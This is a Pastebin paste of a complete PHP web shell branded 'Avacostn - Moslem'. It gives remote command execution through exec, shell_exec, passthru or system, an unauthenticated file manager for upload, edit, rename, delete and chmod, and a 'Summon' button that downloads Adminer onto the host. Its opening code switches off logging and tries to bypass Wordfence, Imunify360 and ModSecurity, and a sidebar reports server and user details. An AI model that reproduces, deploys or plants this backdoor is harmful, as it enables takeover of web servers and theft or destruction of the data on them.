Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- @ini_set('error_log', NULL);
- @ini_set('log_errors', 0);
- @ini_set('max_execution_time', 0);
- @error_reporting(0);
- @set_time_limit(0);
- @ob_clean();
- @header("X-Accel-Buffering: no");
- @header("Content-Encoding: none");
- @http_response_code(403);
- @http_response_code(404);
- @http_response_code(500);
- if (function_exists('litespeed_request_headers')) {
- $headers = litespeed_request_headers();
- if (isset($headers['X-LSCACHE'])) {
- header('X-LSCACHE: off');
- }
- }
- if (defined('WORDFENCE_VERSION')) {
- define('WORDFENCE_DISABLE_LIVE_TRAFFIC', true);
- define('WORDFENCE_DISABLE_FILE_MODS', true);
- }
- if (function_exists('imunify360_request_headers') && defined('IMUNIFY360_VERSION')) {
- $imunifyHeaders = imunify360_request_headers();
- if (isset($imunifyHeaders['X-Imunify360-Request'])) {
- header('X-Imunify360-Request: bypass');
- }
- if (isset($imunifyHeaders['X-Imunify360-Captcha-Bypass'])) {
- header('X-Imunify360-Captcha-Bypass: ' . $imunifyHeaders['X-Imunify360-Captcha-Bypass']);
- }
- }
- if (function_exists('apache_request_headers')) {
- $apacheHeaders = apache_request_headers();
- if (isset($apacheHeaders['X-Mod-Security'])) {
- header('X-Mod-Security: ' . $apacheHeaders['X-Mod-Security']);
- }
- }
- if (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && defined('CLOUDFLARE_VERSION')) {
- $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_CF_CONNECTING_IP'];
- if (isset($apacheHeaders['HTTP_CF_VISITOR'])) {
- header('HTTP_CF_VISITOR: ' . $apacheHeaders['HTTP_CF_VISITOR']);
- }
- }
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <style>
- body {
- font-family: Arial, sans-serif;
- background-color: #f2f2f2;
- margin: 0;
- padding: 0;
- }
- .container {
- max-width: 800px;
- margin: 20px auto;
- padding: 20px;
- border: 1px solid #ccc;
- border-radius: 5px;
- box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
- background-color: #fff;
- position: relative;
- }
- .footer {
- text-align: center;
- max-width: 800px;
- position: relative;
- background-color: #fff;
- border: 1px solid #ccc;
- padding: 20px;
- margin: 20px auto;
- }
- .message-container {
- max-width: 800px;
- margin: 20px auto;
- padding: 20px;
- border: 1px solid #ccc;
- border-radius: 5px;
- box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
- background-color: #fff;
- position: relative;
- }
- h1 {
- text-align: center;
- }
- .button-container {
- display: flex;
- justify-content: space-between;
- align-items: center;
- margin-top: 20px;
- }
- .empty-button {
- background: none;
- border: none;
- color: transparent;
- cursor: pointer;
- padding: 0;
- outline: none;
- }
- table {
- width: 100%;
- border-collapse: collapse;
- margin-top: 20px;
- }
- table th, table td {
- padding: 10px;
- border: 1px solid #ccc;
- }
- table th {
- background-color: #f2f2f2;
- font-weight: bold;
- }
- .sidebar {
- position: fixed;
- top: 0;
- margin: 20px auto;
- padding: 20px;
- right: -300px;
- width: 300px;
- height: 100%;
- background-color: #f2f2f2;
- box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
- transition: right 0.3s ease-in-out;
- }
- .sidebar.open {
- right: 0;
- }
- .sidebar-content {
- padding: 20px;
- }
- .sidebar-close {
- text-align: right;
- margin-bottom: 20px;
- }
- .sidebar-close button {
- padding: 5px 10px;
- border: none;
- background-color: #ccc;
- color: #fff;
- cursor: pointer;
- }
- .menu-icon {
- position: absolute;
- top: 20px;
- right: 20px;
- width: 30px;
- height: 30px;
- background-color: #ccc;
- border-radius: 50%;
- cursor: pointer;
- display: flex;
- justify-content: center;
- align-items: center;
- }
- .menu-icon::before,
- .menu-icon::after {
- content: "";
- position: absolute;
- width: 20px;
- height: 2px;
- background-color: #fff;
- transition: transform 0.3s ease-in-out;
- }
- .menu-icon::before {
- transform: translateY(-6px);
- }
- .menu-icon::after {
- transform: translateY(6px);
- }
- .menu-icon.open::before {
- transform: translateY(0px) rotate(45deg);
- }
- .menu-icon.open::after {
- transform: translateY(0px) rotate(-45deg);
- }
- .sidebar h2 {
- margin-top: 0;
- }
- .info-list {
- list-style: none;
- padding: 0;
- }
- .info-list li {
- margin-bottom: 10px;
- }
- .info-list li:last-child {
- margin-bottom: 0;
- }
- .sidebar .info-container {
- margin-bottom: 20px;
- }
- </style>
- </head>
- <body>
- <div class="container">
- <h1>Avacostn - Moslem</h1>
- <div class="menu-icon" onclick="toggleSidebar()"></div>
- <hr>
- <div class="button-container">
- <div class="input-file">
- <label class="input-file-label" for="file-input">Choose File</label>
- <form action="" method="post" enctype="multipart/form-data">
- <input id="file-input" type="file" name="file" />
- <input class="button" type="submit" value="Upload" />
- </form>
- <?php
- $path = isset($_GET['path']) ? $_GET['path'] : getcwd();
- $path = str_replace('\\', '/', $path);
- $paths = @explode('/', $path);
- ?>
- <hr>
- DIR : <a href="?path=/">Home</a>
- <?php
- foreach ($paths as $id => $pat) {
- if ($pat == '' && $id == 0) {
- echo '<a href="?path=/">/</a>';
- continue;
- }
- if ($pat == '') {
- continue;
- }
- $linkPath = implode('/', array_slice($paths, 0, $id + 1));
- echo "<a href=\"?path=$linkPath\">$pat</a>/";
- }
- ?>
- </div>
- <div class="input-summon">
- <form action="" method="post">
- <input type="hidden" name="summon" value="true" />
- <input class="button" type="submit" value="Summon" />
- </form>
- </div>
- </div>
- <?php
- if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['summon']) && $_POST['summon'] === 'true') {
- $baseUrl = 'https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1.php';
- $path = isset($_GET['path']) ? $_GET['path'] : getcwd();
- $fileName = 'adminer.php';
- $filePath = $path . '/' . $fileName;
- $fileContent = @file_get_contents($baseUrl);
- if ($fileContent !== false) {
- if (file_put_contents($filePath, $fileContent) !== false) {
- echo "<p>Summon successfully. $filePath .</p>";
- } else {
- echo "<p>Summon failed.</p>";
- }
- } else {
- echo "<p>Failed to fetch the file content. None File</p>";
- }
- }
- if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
- if ($_FILES['file']['size'] === 0) {
- echo "<p>Open Ur Eyes Bitch !!!.</p>";
- } else {
- $uploadPath = $path . '/' . $_FILES['file']['name'];
- if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
- echo "<p>File uploaded successfully. $uploadPath .</p>";
- } else {
- echo "<p>File upload failed.</p>";
- }
- }
- }
- ?>
- </div>
- <div class="container">
- <?php if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['cmd'])) {
- $cmdOutput = null;
- $cmd = $_POST['cmd'];
- $path = isset($_GET['path']) ? $_GET['path'] : getcwd();
- $cmd = "cd " . escapeshellarg($path) . " && " . $cmd;
- if (function_exists('exec')) {
- @exec($cmd, $output, $returnVar);
- if ($returnVar === 0) {
- $cmdOutput = implode("\n", $output);
- }
- } elseif (function_exists('shell_exec')) {
- $cmdOutput = @shell_exec($cmd);
- } elseif (function_exists('passthru')) {
- ob_start();
- @passthru($cmd, $returnVar);
- $cmdOutput = ob_get_clean();
- } elseif (function_exists('system')) {
- ob_start();
- @system($cmd, $returnVar);
- $cmdOutput = ob_get_clean();
- }
- }
- ?>
- <form method="POST" action="">
- <?php echo @get_current_user() . "@" . @gethostbyname($_SERVER['HTTP_HOST']) . ": ~ $"; ?><input type='text' size='30' height='10' name='cmd' placeholder='Enter a command...'>
- <input type="submit" class="empty-button">
- </form>
- </div>
- <?php if (!empty($cmdOutput)) { ?>
- <div class="message-container">
- <pre><?php echo htmlspecialchars($cmdOutput); ?></pre>
- </div>
- <?php } ?>
- <?php
- if (isset($_GET['file'])) {
- $file = $_GET['file'];
- $filePath = $path . '/' . $file;
- $fileContent = @file_get_contents($filePath);
- if ($fileContent !== false) {
- echo "<div class=\"message-container\">";
- echo "<p>Edit File: $file</p>";
- echo "<form method=\"POST\" action=\"\">";
- echo "<input type=\"hidden\" name=\"edit\" value=\"true\">";
- echo "<input type=\"hidden\" name=\"file\" value=\"$file\">";
- echo "<textarea name=\"new_content\" rows=\"10\" cols=\"100\" placeholder=\"Enter new content...\">" . htmlspecialchars($fileContent) . "</textarea>";
- echo "<input type=\"submit\" value=\"Edit\">";
- echo "</form>";
- echo "</div>";
- }
- }
- ?>
- <?php
- if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['rename'])) {
- $oldName = $_GET['rename'];
- echo "<div class=\"message-container\">";
- echo "<p>Rename : $oldName</p>";
- echo "<form method=\"POST\" action=\"\">";
- echo "<input type=\"hidden\" name=\"rename\" value=\"true\">";
- echo "<input type=\"hidden\" name=\"old_name\" value=\"" . htmlspecialchars($oldName) . "\">";
- echo "<input type=\"text\" name=\"new_name\" placeholder=\"Enter new name\" required>";
- echo "<input type=\"submit\" value=\"Rename\">";
- echo "</form>";
- echo "</div>";
- ?>
- <?php } ?>
- <?php
- if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit']) && $_POST['edit'] === 'true') {
- $editedFile = $_POST['file'];
- $newContent = $_POST['new_content'];
- $path = isset($_GET['path']) ? $_GET['path'] : getcwd();
- $filePath = $path . '/' . $editedFile;
- if (file_put_contents($filePath, $newContent) !== false) {
- echo "<div class='message-container'><p>File saved successfully. $filePath </p>";
- } else {
- echo "<p>Failed to save the file.</p></div>";
- }
- }
- ?>
- <?php
- if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['rename']) && $_POST['rename'] === 'true') {
- $oldName = $_POST['old_name'];
- $newName = $_POST['new_name'];
- $newPath = $path . '/' . $newName;
- $oldPath = $path . '/' . $oldName;
- if (rename($oldPath, $newPath)) {
- echo "<div class='message-container'><p>Renaming successful. $newName</p>";
- } else {
- echo "<p>Failed to rename.</p></div>";
- }
- }
- ?>
- <?php
- // ...
- if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['delete'])) {
- $deletePath = $_GET['delete'];
- $deletePath = str_replace('/', '', $deletePath); // Mencegah traversal path
- $deletePath = $path . '/' . $deletePath;
- if (is_file($deletePath)) {
- if (unlink($deletePath)) {
- echo "<div class='message-container'><p>File deleted successfully: $deletePath</p></div>";
- } else {
- echo "<div class='message-container'><p>Failed to delete the file: $deletePath</p></div>";
- }
- } elseif (is_dir($deletePath)) {
- if (rmdir($deletePath)) {
- echo "<div class='message-container'><p>Folder deleted successfully: $deletePath</p></div>";
- } else {
- echo "<div class='message-container'><p>Failed to delete the folder: $deletePath</p></div>";
- }
- } else {
- echo "<div class='message-container'><p>Invalid file or folder path: $deletePath</p></div>";
- }
- }
- // ...
- ?>
- <?php
- if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['chmod'])) {
- $chmodPath = $_GET['chmod'];
- $chmodPath = str_replace('/', '', $chmodPath); // Mencegah traversal path
- $chmodPath = $path . '/' . $chmodPath;
- if (is_file($chmodPath) || is_dir($chmodPath)) {
- if (isset($_GET['mode']) && preg_match('/^[0-7]{3}$/', $_GET['mode'])) {
- $mode = intval($_GET['mode'], 8);
- if (chmod($chmodPath, $mode)) {
- echo "<div class='message-container'><p>Chmod successful: $chmodPath</p></div>";
- } else {
- echo "<div class='message-container'><p>Failed to chmod: $chmodPath</p></div>";
- }
- } else {
- $currentMode = fileperms($chmodPath) & 0777;
- echo "<div class='message-container'>";
- echo "<p>Chmod: $chmodPath</p>";
- echo "<form method='GET' action=''>";
- echo "<input type='hidden' name='path' value='$path'>";
- echo "<input type='hidden' name='chmod' value='$chmodPath'>";
- echo "<input type='text' name='mode' placeholder='Enter new mode (e.g., 755)' required>";
- echo "<input type='submit' value='Chmod'>";
- echo "</form>";
- echo "<p>Current mode: $currentMode</p>";
- echo "</div>";
- }
- } else {
- echo "<div class='message-container'><p>Invalid file or folder path: $chmodPath</p></div>";
- }
- }
- ?>
- </div>
- <div class="container">
- <h2>Filemanager</h2>
- <table>
- <tr>
- <th>Name</th>
- <th>Size</th>
- <th>Permission</th>
- <th>Actions</th>
- </tr>
- <?php
- $scandir = @scandir($path);
- if ($scandir !== false) {
- $folders = [];
- $files = [];
- foreach ($scandir as $file) {
- $filePath = "$path/$file";
- if (is_dir($filePath)) {
- $folders[] = $file;
- } else if (is_file($filePath)) {
- $size = filesize($filePath);
- $size = formatSizeUnits($size);
- $perms = fileperms($filePath);
- $permission = getPermissionString($perms);
- $files[$file] = [
- 'size' => $size,
- 'permission' => $permission
- ];
- }
- }
- foreach ($folders as $folder) {
- $folderPath = "$path/$folder";
- $folderPermissionColor = (is_writable($folderPath)) ? 'green' : 'red';
- ?>
- <tr>
- <td>
- <a href="?path=<?php echo $folderPath; ?>"><?php echo $folder; ?></a>
- </td>
- <td>
- <span style="color: <?php echo $folderPermissionColor; ?>"><?php echo getPermissionString(fileperms($folderPath)); ?></span>
- </td>
- <td>-</td>
- <td>
- <select onchange="folderDropdownAction(this.value, '<?php echo $path; ?>', '<?php echo $folder; ?>')">
- <option value="" selected disabled>Actions</option>
- <option value="rename">Rename</option>
- <option value="delete">Delete</option>
- <option value="chmod">Chmod</option>
- </select>
- </td>
- </tr>
- <script>
- function folderDropdownAction(action, path, folder) {
- if (action === 'rename') {
- window.location.href = "?path=" + path + "&rename=" + folder;
- } else if (action === 'delete') {
- var confirmation = confirm('Apakah Anda yakin ingin menghapus folder ini?');
- if (confirmation) {
- window.location.href = "?path=" + path + "&delete=" + folder;
- }
- } else if (action === 'chmod') {
- window.location.href = "?path=" + path + "&chmod=" + folder;
- }
- }
- </script>
- <?php
- }
- foreach ($files as $file => $data) {
- $filePermissionColor = (is_writable($path . '/' . $file)) ? 'green' : 'red';
- ?>
- <tr>
- <td>
- <a href="?path=<?php echo $path; ?>&file=<?php echo $file; ?>"><?php echo $file; ?></a>
- </td>
- <td><?php echo $data['size']; ?></td>
- <td>
- <span style="color: <?php echo $filePermissionColor; ?>"><?php echo $data['permission']; ?></span>
- </td>
- <td>
- <select onchange="dropdownAction(this.value, '<?php echo $path; ?>', '<?php echo $file; ?>')">
- <option value="" selected disabled>Actions</option>
- <option value="edit">Edit</option>
- <option value="delete">Delete</option>
- <option value="chmod">Chmod</option>
- <option value="rename">Rename</option>
- </select>
- </td>
- </tr>
- <script>
- function dropdownAction(action, path, file) {
- if (action === 'edit') {
- window.location.href = "?path=" + path + "&file=" + file;
- } else if (action === 'delete') {
- var confirmation = confirm('Apakah Anda yakin ingin menghapus file ini?');
- if (confirmation) {
- window.location.href = "?path=" + path + "&delete=" + file;
- }
- } else if (action === 'chmod') {
- window.location.href = "?path=" + path + "&chmod=" + file;
- } else if (action === 'rename') {
- window.location.href = "?path=" + path + "&rename=" + file;
- }
- }
- </script>
- <?php
- }
- } else {
- echo "<tr><td colspan=\"4\">None Directory</td></tr>";
- }
- function getPermissionString($perms)
- {
- $info = '';
- // Owner
- $info .= (($perms & 0x0100) ? 'r' : '-');
- $info .= (($perms & 0x0080) ? 'w' : '-');
- $info .= (($perms & 0x0040) ?
- (($perms & 0x0800) ? 's' : 'x') :
- (($perms & 0x0800) ? 'S' : '-'));
- // Group
- $info .= (($perms & 0x0020) ? 'r' : '-');
- $info .= (($perms & 0x0010) ? 'w' : '-');
- $info .= (($perms & 0x0008) ?
- (($perms & 0x0400) ? 's' : 'x') :
- (($perms & 0x0400) ? 'S' : '-'));
- // Other
- $info .= (($perms & 0x0004) ? 'r' : '-');
- $info .= (($perms & 0x0002) ? 'w' : '-');
- $info .= (($perms & 0x0001) ?
- (($perms & 0x0200) ? 't' : 'x') :
- (($perms & 0x0200) ? 'T' : '-'));
- return $info;
- }
- function formatSizeUnits($bytes)
- {
- $units = array('bytes', 'KB', 'MB', 'GB');
- $index = 0;
- while ($bytes >= 1024 && $index < 3) {
- $bytes /= 1024;
- $index++;
- }
- return round($bytes, 2) . ' ' . $units[$index];
- }
- ?>
- </table>
- </div>
- <div class="sidebar" id="sidebar">
- <div class="sidebar-content">
- <div class="sidebar-close">
- <button onclick="toggleSidebar()">Close</button>
- </div>
- <div class="info-container">
- <h2>Server Info</h2>
- <?php
- function countDomainsInServer() {
- $serverName = $_SERVER['SERVER_NAME'];
- $ipAddresses = @gethostbynamel($serverName);
- if ($ipAddresses !== false) {
- return count($ipAddresses);
- } else {
- return 0;
- }
- }
- $domainCount = @countDomainsInServer();
- function formatBytes($bytes, $precision = 2) {
- $units = array('B', 'KB', 'MB', 'GB', 'TB');
- $bytes = max($bytes, 0);
- $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
- $pow = min($pow, count($units) - 1);
- $bytes /= (1 << (10 * $pow));
- return round($bytes, $precision) . ' ' . $units[$pow];
- }
- ?>
- <ul class="info-list">
- <li>Hostname: <?php echo @gethostname(); ?></li>
- <?php if (isset($_SERVER['SERVER_ADDR'])): ?>
- <li>IP Address: <?php echo $_SERVER['SERVER_ADDR']; ?></li>
- <?php endif; ?>
- <li>PHP Version: <?php echo @phpversion(); ?></li>
- <li>Server Software: <?php echo $_SERVER['SERVER_SOFTWARE']; ?></li>
- <?php if (function_exists('disk_total_space')): ?>
- <li>HDD Total Space: <?php echo @formatBytes(disk_total_space('/')); ?></li>
- <li>HDD Free Space: <?php echo @formatBytes(disk_free_space('/')); ?></li>
- <?php endif; ?>
- <li>Safe Mode: <?php echo @ini_get('safe_mode') ? 'Enabled' : 'Disabled'; ?></li>
- <li>Disable Functions: <?php echo @ini_get('disable_functions'); ?></li>
- <li>Total Domains in Server: <?php echo $domainCount; ?></li>
- <li>System: <?php echo @php_uname(); ?></li>
- </ul>
- </div>
- <div class="info-container">
- <h2>User Info</h2>
- <ul class="info-list">
- <li>Username: <?php echo @get_current_user(); ?></li>
- <li>User ID: <?php echo @getmyuid(); ?></li>
- <li>Group ID: <?php echo @getmygid(); ?></li>
- </ul>
- </div>
- </div>
- </div>
- <script>
- function toggleOptionsMenu() {
- var optionsMenu = document.getElementById('optionsMenu');
- optionsMenu.classList.toggle('show');
- }
- function toggleSidebar() {
- var sidebar = document.getElementById('sidebar');
- sidebar.classList.toggle('open');
- }
- </script>
- </div>
- <div class='footer'><p>© <?php echo date('Y'); ?> <a href="https://www.blog-gan.org">Shin Code</a>. All rights reserved.</p>
- </div>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement